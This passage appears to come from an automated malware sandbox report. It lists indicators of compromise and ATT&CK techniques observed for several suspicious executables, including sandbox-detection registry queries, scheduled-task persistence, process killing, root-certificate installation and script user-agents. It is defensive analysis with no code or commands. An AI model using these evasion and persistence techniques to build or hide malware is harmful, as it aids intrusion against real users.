4384	6468	WerFault.exe	168
7916	6468	WerFault.exe	168
7796	6468	WerFault.exe	168
5212	6468	WerFault.exe	168
8208	4496	WerFault.exe	229
8468	4496	WerFault.exe	229
8576	8140	WerFault.exe	235
8736	4496	WerFault.exe	229
8816	8140	WerFault.exe	235
8892	4496	WerFault.exe	229
8980	8140	WerFault.exe	235
9168	8140	WerFault.exe	235
5212	5912	WerFault.exe	151
8536	4496	WerFault.exe	229
656	4496	WerFault.exe	229
9120	8140	WerFault.exe	235
9164	8140	WerFault.exe	235
8740	8140	WerFault.exe	235

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Tue112c483dd3245d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Tue112c483dd3245d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Alfanewfile2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Alfanewfile2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6580	schtasks.exe
8176	schtasks.exe
8392	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
10072	timeout.exe
10108	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
6448	taskkill.exe
2164	taskkill.exe
7192	taskkill.exe
524	taskkill.exe
8040	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 7 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe

Modifies data under HKEY_USERS 20 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.FileSyncClient.1\ = "FileSyncClient Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1B71F23B-E61F-45C9-83BA-235D55F50CF9}\ = "IGetAllSharedFoldersCallback"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\ProgID\ = "FileSyncOutOfProcServices.FileSyncOutOfProcServices.1"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\ODOPEN\SHELL\OPEN\COMMAND	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe,0"	FileSyncConfig.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler.1	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{5d65dd0d-81bf-4ff4-aeea-6effb445cb3f}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\LocalServer32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\SYNCENGINEFILEINFOPROVIDER.SYNCENGINEFILEINFOPROVIDER\CURVER	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\ = "FileSyncClient Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\FileCoAuth.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\AW Manager\\Windows Manager 1.0.0\\install\\97FDF62\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler\shell\import\DropTarget	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\www.mcafee.com	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{082D3FEC-D0D0-4DF6-A988-053FECE7B884}\1.0\FLAGS\ = "0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\VersionIndependentProgID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}\ = "ISyncEngine"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\amd64\\FileSyncShell64.dll"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba}\VersionIndependentProgID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{c1439245-96b4-47fc-b391-679386c5d40f}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\ = "IFileSyncClient11"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging\ = "NucleusNativeMessaging Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\odopen\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /url:\"%1\""	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\theonlygames.com\NumberOfSub = "1"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\ = "ReadOnlyOverlayHandler Class"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{5D5DD08F-A10E-4FEF-BCA7-E73E666FC66C}\ = "IFileSyncClient8"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\ = "IFileSyncClient9"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{390AF5A7-1390-4255-9BC9-935BFCFA5D57}\ = "IAlbumMetadataCallback"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\ = "ReadOnlyOverlayHandler Class"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\ = "UpToDateOverlayHandler2 Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{638805C3-4BA3-4AC8-8AAC-71A0BA2BC284}\1.0\FLAGS\ = "0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{C1439245-96B4-47FC-B391-679386C5D40F}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{d8c80ebb-099c-4208-afa3-fbc4d11f8a3c}\ProxyStubClsid32	OneDriveSetup.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	installer.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	215	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	79	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe
1816	Tue11bc0507b56295.exe
1816	Tue11bc0507b56295.exe
2144	powershell.exe
2144	powershell.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
648	rundll32.exe
648	rundll32.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
5080	svchost.exe
5080	svchost.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
5208	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

